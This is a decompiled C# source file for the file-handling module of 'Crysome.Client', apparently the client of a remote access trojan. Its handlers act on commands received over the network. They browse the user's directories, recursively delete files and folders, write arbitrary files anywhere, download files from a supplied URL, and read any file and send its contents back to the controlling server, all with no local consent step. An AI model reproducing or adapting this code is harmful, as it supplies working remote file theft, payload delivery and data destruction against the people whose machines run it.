using System;
using System.IO;
using System.Linq;
using System.Security;
using Crysome.Client.SystemInfo;
using Crysome.Client.Util;
using Crysome.Client.Web;
using Crysome.Common.Model;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class FileHandlers
{
	private const int MaxIconsPerListing = 120;

	public static void HandleGetDirectory(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		GetDirectoryRequestPacket val = (GetDirectoryRequestPacket)packet;
		string path = ((val.Path == string.Empty) ? Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) : val.Path);
		GetDirectoryFileEntries(client, path, val.RequestId);
	}

	public static void HandleDeleteFile(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		DeleteFileRequestPacket val = (DeleteFileRequestPacket)packet;
		string fullName = Directory.GetParent(val.Path).FullName;
		if (Directory.Exists(val.Path))
		{
			Directory.Delete(val.Path, recursive: true);
		}
		else if (File.Exists(val.Path))
		{
			File.Delete(val.Path);
		}
		GetDirectoryFileEntries(client, fullName, 0L);
	}

	public static void HandleSendFile(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		SendFileRequestPacket val = (SendFileRequestPacket)packet;
		File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, val.Filename), val.FileData);
	}

	public static void HandleWriteFile(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		//IL_0121: Unknown result type (might be due to invalid IL or missing references)
		//IL_0126: Unknown result type (might be due to invalid IL or missing references)
		//IL_012d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0139: Unknown result type (might be due to invalid IL or missing references)
		//IL_014a: Expected O, but got Unknown
		//IL_0015: Unknown result type (might be due to invalid IL or missing references)
		//IL_001a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0021: Unknown result type (might be due to invalid IL or missing references)
		//IL_002c: Unknown result type (might be due to invalid IL or missing references)
		//IL_003d: Expected O, but got Unknown
		//IL_0054: Unknown result type (might be due to invalid IL or missing references)
		//IL_0059: Unknown result type (might be due to invalid IL or missing references)
		//IL_0060: Unknown result type (might be due to invalid IL or missing references)
		//IL_006b: Unknown result type (might be due to invalid IL or missing references)
		//IL_007c: Expected O, but got Unknown
		//IL_0093: Unknown result type (might be due to invalid IL or missing references)
		//IL_0098: Unknown result type (might be due to invalid IL or missing references)
		//IL_009f: Unknown result type (might be due to invalid IL or missing references)
		//IL_00aa: Unknown result type (might be due to invalid IL or missing references)
		//IL_00bb: Expected O, but got Unknown
		//IL_00f5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00fa: Unknown result type (might be due to invalid IL or missing references)
		//IL_0101: Unknown result type (might be due to invalid IL or missing references)
		//IL_010c: Unknown result type (might be due to invalid IL or missing references)
		//IL_011d: Expected O, but got Unknown
		WriteFileRequestPacket val = (WriteFileRequestPacket)packet;
		try
		{
			if (string.IsNullOrEmpty(val.DestPath))
			{
				client.SendPacket((IPacket)new WriteFileResponsePacket
				{
					Success = false,
					ErrorMessage = "Empty path",
					TransferId = val.TransferId
				});
				return;
			}
			if (val.Data == null || val.Data.Length == 0)
			{
				client.SendPacket((IPacket)new WriteFileResponsePacket
				{
					Success = false,
					ErrorMessage = "Empty data",
					TransferId = val.TransferId
				});
				return;
			}
			if ((long)val.Data.Length > 104857600L)
			{
				client.SendPacket((IPacket)new WriteFileResponsePacket
				{
					Success = false,
					ErrorMessage = "File too large (max 100MB)",
					TransferId = val.TransferId
				});
				return;
			}
			string directoryName = Path.GetDirectoryName(val.DestPath);
			if (!string.IsNullOrEmpty(directoryName) && !Directory.Exists(directoryName))
			{
				Directory.CreateDirectory(directoryName);
			}
			File.WriteAllBytes(val.DestPath, val.Data);
			client.SendPacket((IPacket)new WriteFileResponsePacket
			{
				Success = true,
				ErrorMessage = "",
				TransferId = val.TransferId
			});
		}
		catch (Exception ex)
		{
			client.SendPacket((IPacket)new WriteFileResponsePacket
			{
				Success = false,
				ErrorMessage = ex.Message,
				TransferId = val.TransferId
			});
		}
	}

	public static void HandleDownloadFile(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		DownloadFileRequestPacket val = (DownloadFileRequestPacket)packet;
		new WebFileDownloader().DownloadFile(val.Url);
	}

	public static void HandleReadFile(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		//IL_00bc: Unknown result type (might be due to invalid IL or missing references)
		//IL_00c6: Expected O, but got Unknown
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		//IL_002c: Expected O, but got Unknown
		//IL_004c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0056: Expected O, but got Unknown
		//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
		//IL_00aa: Expected O, but got Unknown
		//IL_007e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0088: Expected O, but got Unknown
		ReadFileRequestPacket val = (ReadFileRequestPacket)packet;
		try
		{
			if (string.IsNullOrEmpty(val.Path))
			{
				client.SendPacket((IPacket)new ReadFileResponsePacket(false, "Empty path", (byte[])null, val.TransferId));
				return;
			}
			if (!File.Exists(val.Path))
			{
				client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File not found", (byte[])null, val.TransferId));
				return;
			}
			if (new FileInfo(val.Path).Length > 104857600)
			{
				client.SendPacket((IPacket)new ReadFileResponsePacket(false, "File too large (max 100MB)", (byte[])null, val.TransferId));
				return;
			}
			byte[] array = File.ReadAllBytes(val.Path);
			client.SendPacket((IPacket)new ReadFileResponsePacket(true, (string)null, array, val.TransferId));
		}
		catch (Exception ex)
		{
			client.SendPacket((IPacket)new ReadFileResponsePacket(false, ex.Message, (byte[])null, val.TransferId));
		}
	}

	private static void GetDirectoryFileEntries(CrysomeClient client, string path, long requestId)
	{
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Unknown result type (might be due to invalid IL or missing references)
		//IL_0033: Unknown result type (might be due to invalid IL or missing references)
		//IL_003f: Unknown result type (might be due to invalid IL or missing references)
		//IL_006f: Unknown result type (might be due to invalid IL or missing references)
		//IL_009f: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ff: Unknown result type (might be due to invalid IL or missing references)
		//IL_012f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0137: Expected O, but got Unknown
		try
		{
			DirectoryInfo directoryInfo = new DirectoryInfo(path);
			if (directoryInfo.Exists)
			{
				FileSystemEntry[] directories = FileExplorer.GetDirectories(path);
				FileSystemEntry[] files = FileExplorer.GetFiles(path);
				GetDirectoryResponsePacket val = new GetDirectoryResponsePacket
				{
					Name = directoryInfo.Name,
					Path = directoryInfo.FullName,
					Folders = directories.Select((FileSystemEntry folder) => folder.Name).ToArray(),
					Files = files.Select((FileSystemEntry file) => file.Name).ToArray(),
					FileSizes = files.Select((FileSystemEntry file) => file.Size).ToArray(),
					FolderLastWriteUtcTicks = directories.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(),
					FileLastWriteUtcTicks = files.Select((FileSystemEntry f) => f.LastWriteUtcTicks).ToArray(),
					RequestId = requestId
				};
				val.FolderIconPng = new byte[directories.Length][];
				for (int num = 0; num < directories.Length; num++)
				{
					string fullPath = Path.Combine(directoryInfo.FullName, directories[num].Name);
					val.FolderIconPng[num] = ((num < 120) ? ShellSmallIconPng.TryGetPng(fullPath, isDirectory: true) : null);
				}
				val.FileIconPng = new byte[files.Length][];
				for (int num2 = 0; num2 < files.Length; num2++)
				{
					string fullPath2 = Path.Combine(directoryInfo.FullName, files[num2].Name);
					val.FileIconPng[num2] = ((num2 < 120) ? ShellSmallIconPng.TryGetPng(fullPath2, isDirectory: false) : null);
				}
				client.SendPacket((IPacket)(object)val);
			}
		}
		catch (SecurityException)
		{
			NotifyStatus(client, "Insufficient privileges.");
		}
		catch (ArgumentException)
		{
			NotifyStatus(client, "Invalid path.");
		}
		catch (Exception)
		{
			NotifyStatus(client, "An unexpected error has occured.");
		}
	}

	private static void NotifyStatus(CrysomeClient client, string statusMessage)
	{
		//IL_0002: Unknown result type (might be due to invalid IL or missing references)
		//IL_000c: Expected O, but got Unknown
		client.SendPacket((IPacket)new NotifyStatusResponsePacket(statusMessage));
	}
}
